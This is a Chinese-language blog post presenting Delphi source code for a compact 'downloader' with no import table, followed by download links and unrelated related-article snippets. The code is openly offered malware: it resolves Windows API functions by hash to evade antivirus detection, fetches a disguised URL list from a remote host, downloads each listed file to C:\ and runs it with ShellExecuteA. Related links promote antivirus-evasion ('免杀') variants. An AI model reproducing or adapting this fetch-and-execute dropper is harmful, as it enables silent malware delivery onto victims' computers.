[源码]Delphi 5KB无输入表下载者源码

PROGRAM Fun;

type
DWORD = LongWord;
THandle = LongWord;
BOOL = LongBool;
LPCSTR = PAnsiChar;
HINTERNET = Pointer;
FARPROC = Pointer;
PShortString = ^ShortString;
PLongint = ^Longint;
HRESULT = type Longint; { from WTYPES.H } PGUID = ^TGUID;
TGUID = packed record
D1: LongWord;
D2: Word;
D3: Word;
D4: array[0..7] of Byte;
end; PSecurityAttributes = ^TSecurityAttributes;
_SECURITY_ATTRIBUTES = record
nLength: DWORD;
lpSecurityDescriptor: Pointer;
bInheritHandle: LongBool;
end; TSecurityAttributes = _SECURITY_ATTRIBUTES;
SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES; POverlapped = ^TOverlapped;
_OVERLAPPED = record
Internal: DWORD;
InternalHigh: DWORD;
Offset: DWORD;
OffsetHigh: DWORD;
hEvent: THandle;
end;
TOverlapped = _OVERLAPPED;
OVERLAPPED = _OVERLAPPED; CONST
Dw_ShellExecuteA = $EB7C1488;
Dw_ShellExecuteW = $1FA8A1D9;
Dw_URLDownloadToFileA = $1E30F2EA;
Dw_StrStrA = $0A62DA9E;
Dw_lstrlenA = $E90E2A0C;
Dw_lstrcpyA = $AE03DF57;
Dw_lstrcpynA = $3464616E;
Dw_StrDupA = $F458BD0D;
Dw_StrNCatA = $8DB90EA6;
Dw_CreateFileA = $553B5C78;
Dw_ReadFile = $095C03D0;
Dw_CloseHandle = $B09315F4; S_OK = $00000000;
ERROR = 0;
INTERNET_OPEN_TYPE_PRECONFIG = 0;
HTTP_QUERY_RAW_HEADERS_CRLF = 22;
MAX_PATH = 260;
GENERIC_READ = DWORD($80000000);
FILE_SHARE_READ = $00000001;
OPEN_EXISTING = 3;
FILE_ATTRIBUTE_NORMAL = $00000080; DwUrl = 'http://www.baidu.com/img/bdlogo.gif|----------------------------------------------------------------------'; VAR
LoadLibrary:function(lpLibFileName: PAnsiChar): longWord; stdcall;
ShellExecuteA:function(hWnd: LongWord; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Integer): LongWord; stdcall;
URLDownloadToFileA:function(Caller:Pointer; URL:PChar; FileName:PChar; Reserved: DWORD; StatusCB:Pointer): HResult; stdcall;
lstrlenA:function(lpString: PAnsiChar): Integer; stdcall;
StrStrA:function(lpFirst, lpSrch: PAnsiChar): PAnsiChar; stdcall;
lstrcpyA:function(lpString1, lpString2: PAnsiChar): PAnsiChar; stdcall;
lstrcpynA:function(lpString1, lpString2: PAnsiChar; iMaxLength: Integer): PAnsiChar; stdcall;
StrDupA:function(lpSrch: PAnsiChar): PAnsiChar; stdcall;
StrNCatA:function(psz1: PAnsiChar; psz2: PAnsiChar; cchMax: Integer): PAnsiChar; stdcall;
CreateFileA:function(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: DWORD;lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: DWORD; hTemplateFile: THandle): THandle; stdcall;
ReadFile:function(hFile: THandle; var Buffer; nNumberOfBytesToRead: DWORD; var lpNumberOfBytesRead: DWORD; lpOverlapped: POverlapped): BOOL; stdcall;
CloseHandle:function(hObject: THandle): BOOL; stdcall; function DwPos(lpFirst,lpSrch:PAnsiChar):Integer;
begin
Result :=DWORD(StrStrA(lpFirst,lpSrch)) - DWORD(lpFirst);
end; procedure DwDelete(lpszStr: PAnsiChar; index, count: Integer);
begin
lstrcpyA(@lpszStr[index - 1], @lpszStr[index + count - 1]);
end; function DwStrLCopy(Dest: PAnsiChar; const Source: PAnsiChar; MaxLen: Cardinal): PAnsiChar; assembler;
asm
PUSH EDI
PUSH ESI
PUSH EBX
MOV ESI,EAX
MOV EDI,EDX
MOV EBX,ECX
XOR AL,AL
TEST ECX,ECX
JZ @@1
REPNE SCASB
JNE @@1
INC ECX
@@1: SUB EBX,ECX
MOV EDI,ESI
MOV ESI,EDX
MOV EDX,EDI
MOV ECX,EBX
SHR ECX,2
REP MOVSD
MOV ECX,EBX
AND ECX,3
REP MOVSB
STOSB
MOV EAX,EDX
POP EBX
POP ESI
POP EDI
end; function DwStrPCopy(Dest: PAnsiChar; const Source: PAnsiChar): PAnsiChar;
begin
Result := DwStrLCopy(Dest, Source, lstrlenA(Source));
end; var
I:Integer;
BinaryFile: LongWord;
dwBytesRead: DWORD;
szBuffer,NewDir,Temp:array [0..100] of AnsiChar;
FBuf:Array[0..2048] of AnsiChar;
PosTxt:PAnsiChar; kernel32,shlwapi:LongWord;
begin
BuildCRC32Table;
@LoadLibrary:=MyLoadLibraryA;
kernel32 := LoadLibrary('kernel32.dll');
shlwapi := LoadLibrary('shlwapi.dll');
@ShellExecuteA:=GetProcAddress(LoadLibrary('shell32.dll'),Dw_ShellExecuteA);
@URLDownloadToFileA:=GetProcAddress(LoadLibrary('UrlMon.dll'),Dw_URLDownloadToFileA);
@StrStrA:=GetProcAddress(shlwapi,Dw_StrStrA);
@StrDupA:=GetProcAddress(shlwapi,Dw_StrDupA);
@StrNCatA:=GetProcAddress(shlwapi,Dw_StrNCatA);
@lstrlenA:=GetProcAddress(kernel32,Dw_lstrlenA);
@lstrcpyA:=GetProcAddress(kernel32,Dw_lstrcpyA);
@lstrcpynA:=GetProcAddress(kernel32,Dw_lstrcpynA);
@CreateFileA:=GetProcAddress(kernel32,Dw_CreateFileA);
@ReadFile:=GetProcAddress(kernel32,Dw_ReadFile);
@CloseHandle:=GetProcAddress(kernel32,Dw_CloseHandle); lstrcpyA(szBuffer, DwUrl);
DwDelete(szBuffer, DwPos(szBuffer,'|')+1, 100);
I:= DwPos(DwUrl,'|')+1;
lstrcpynA(szBuffer,DwUrl,I);
if URLDownloadToFileA(nil,szBuffer,'c:\k8down.jpg', 0, nil)= S_OK then
begin
BinaryFile := CreateFileA('c:\k8down.jpg', GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
ReadFile(BinaryFile, FBuf , 2048, dwBytesRead, nil);
if (dwBytesRead > 0) then
begin
closehandle(BinaryFile);
end;
while (DwPos(FBuf,'//') <> 0) and (DwPos(FBuf,'|') <> 0) do
begin
if (DwPos(FBuf,'|') < 6) then Break;
I:=DwPos(FBuf,'|')+1;
lstrcpynA(Temp,FBuf,I);
DwDelete(FBuf,1, I + 2);
DwStrPCopy(NewDir,'C:\');
PosTxt:=StrDupA(Temp);
DwDelete(PosTxt, 1, 7);
while (DwPos(PosTxt,'/') > 0) do
begin
DwDelete(PosTxt, 1, DwPos(PosTxt,'/')+1);
end;
StrNCatA(NewDir,PosTxt,-1);
if URLDownloadToFileA(nil,Temp,NewDir, 0, nil)= S_OK then
begin
ShellExecuteA(0,'open',NewDir,nil,nil,5);
end;
end;
end;
end.

完整程序源码如下:

https://github.com/k8gege/K8tools/raw/master/Delphi%205KB%E6%97%A0%E8%BE%93%E5%85%A5%E8%A1%A8%E4%B8%8B%E8%BD%BD%E8%80%85%E6%BA%90%E7%A0%81_0105%5BK8%5D.rar

https://download.csdn.net/download/qq396890445/6812539

[源码]Delphi 5KB无输入表下载者的更多相关文章

  1. 2014年最新720多套Android源码2.0GB免费一次性打包下载

    之前发过一个帖子,但是那个帖子有点问题我就重新发一个吧,下面的源码是我从今年3月份开始不断整理源码区和其他网站上的android源码,目前总共有720套左右,根据实现的功能被我分成了100多个类,总共 ...

  2. [源码]Delphi源码免杀之函数动态调用 实现免杀的下载者

    [免杀]Delphi源码免杀之函数动态调用 实现免杀的下载者 2013-12-30 23:44:21         来源:K8拉登哥哥's Blog   自己编译这份代码看看 过N多杀软  没什么技 ...

  3. 转--2014年最新810多套android源码2.46GB免费一次性打包下载

    转载自:http://www.eoeandroid.com/thread-497046-1-1.html 感谢该博客主人无私奉献~~ 下面的源码是从今年3月份开始不断整理源码区和其他网站上的安卓例子源 ...

  4. Tika结合Tesseract-OCR 实现光学汉字识别(简体、宋体的识别率百分之百)—附Java源码、测试数据和训练集下载地址

     OCR(Optical character recognition) —— 光学字符识别,是图像处理的一个重要分支,中文的识别具有一定挑战性,特别是手写体和草书的识别,是重要和热门的科学研究方向.可 ...

  5. easyui源码翻译1.32--Form(表单)

    前言 使用$.fn.form.defaults重写默认值对象下载该插件翻译源码 form提供了各种方法来操作执行表单字段,比如:ajax提交, load, clear等等.当提交表单的时候可以调用va ...

  6. [转]数据库中间件 MyCAT源码分析——跨库两表Join

    1. 概述 2. 主流程 3. ShareJoin 3.1 JoinParser 3.2 ShareJoin.processSQL(...) 3.3 BatchSQLJob 3.4 ShareDBJo ...

  7. 【一起学源码-微服务】Nexflix Eureka 源码八:EurekaClient注册表抓取 精妙设计分析!

    前言 前情回顾 上一讲 我们通过单元测试 来梳理了EurekaClient是如何注册到server端,以及server端接收到请求是如何处理的,这里最重要的关注点是注册表的一个数据结构:Concurr ...

  8. Python源码剖析|百度网盘免费下载|Python新手入门|Python新手学习资料

    百度网盘免费下载:Python源码剖析|新手免费领取下载 提取码:g78z 目录  · · · · · · 第0章 Python源码剖析——编译Python0.1 Python总体架构0.2 Pyth ...

  9. 【雷神源码解析】无基础看懂AAC码流解析,看不懂你打我

    一 前言 最近在尝试学习一些视频相关的知识,随便一搜才知道原来国内有雷神这么一个真正神级的人物存在,尤其是在这里(传送门)看到他的感言更是对他膜拜不已,雷神这种无私奉献的精神应当被我辈发扬光大.那写这 ...

随机推荐

  1. java学习笔记(三):类和对象

     创建对象 构造器 每一个类都有一个构造器. 如果我们不单独为一个类编写构造器那么 Java 的编译器将会给这个类建立一个默认的构造器. 每当一个新的对象被创建,至少一个构造器将会被调用. 构造器的一 ...

  2. elasticsearch数据结构

    无论是关系型数据库还是非关系型数据库,乃至elasticsearch这种事实上承担着一定储存作用的搜索引擎,数据类型都是非常重要而基础的概念.本文基于elasticsearch 5.x版本. 核心数据 ...

  3. 使用es6的then()方法封装jquery的ajax请求

    使用场景: jsp页面中使用jquery的ajax请求比较频繁,以前vue框架的项目用过axios,所以就想着用then()封装一个公共请求的方法,这样每次请求就不用那么麻烦的写一大堆请求参数了. 示 ...

  4. AAC-ADTS

    转自/*************************************************************** 作者:谭东 https://blog.csdn.net/jay10 ...

  5. jq获取图片并转换为base64

    html代码: <input type="file" id="file1"/> jq代码: $('#file1').change(function( ...

  6. linux/windows转mac的习惯设置

    外接键盘 常用快捷键设置 中英文快捷键名都重新设置一遍 使用ctrl替代command(对 内置 键盘操作) https://jingyan.baidu.com/article/6f2f55a1465 ...

  7. CSS的六大选择器

    选择器:选择器是一种模式,用于选择需要添加样式的元素. 首先简述六大选择器 基本选择器 标签选择器 类选择器 ID选择器 高级选择器 层次选择器 结构伪类选择器 属性选择器 其中基本选择器与层次选择器 ...

  8. 杨其菊201771010134《面向对象程序设计(java)》第四周学习总结

    <面向对象程序设计(java)> 第四周学习总结 第一部分:理论知识 1.类与对象 a.类(class)是构造对象的模板或蓝图.由类构造对象的过程称为创建类的实例: java中类声明的格式 ...

  9. Silverlight实用窍门系列:68.Silverlight的资源字典ResourceDictionary

      允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://chengxingliang.blog.51cto.com/3972944/886643 ...

  10. PYthon第十二天

    1. 生成器 生成器的本质是迭代器, 最简单的生成器函数如下: def foo(x): 1-4行定义了一个简单的生成器函数 yield x+1 yield 和 return 不同, return 结束 ...